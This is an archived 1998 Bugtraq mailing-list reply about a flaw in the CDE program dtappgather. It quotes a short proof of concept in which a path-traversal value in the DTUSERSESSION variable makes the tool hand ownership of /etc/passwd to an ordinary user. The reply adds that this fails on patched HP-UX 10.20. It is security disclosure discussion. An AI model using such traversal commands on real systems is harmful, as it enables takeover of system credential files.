[8420] in bugtraq
Re: another /usr/dt/bin/dtappgather feature!
daemon@ATHENA.MIT.EDU (Luca Berra)
Thu Nov 5 12:26:50 1998
Mail-Followup-To: BUGTRAQ@NETSPACE.ORG
Date: Wed, 4 Nov 1998 20:06:37 +0100
Reply-To: bluca@comedia.it
From: Luca Berra <bluca@COMEDIA.IT>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <Pine.HPP.3.96.981102175301.25800A-100000@amb1.amb.polimi.it>;
from Andrea Costantino on Mon, Nov 02, 1998 at 06:05:59PM +0100
On Mon, Nov 02, 1998 at 06:05:59PM +0100, Andrea Costantino wrote:
> costan@penelope$ export $DTUSERSESSION=../../../../etc/passwd
> costan@penelope$ /usr/dt/bin/dtappgather
> [.... stuff ....]
> costan@penelope$ ls -al /etc/passwd
> -r-xr-xr-x 1 costan users 531 Oct 9 14:08 /etc/passwd
>
FYI
this does not work on HP-UX 10.20 patched up to August
L.
--
Luca Berra -- bluca@comedia.it
System and Network Manager - CoMedia s.r.l.
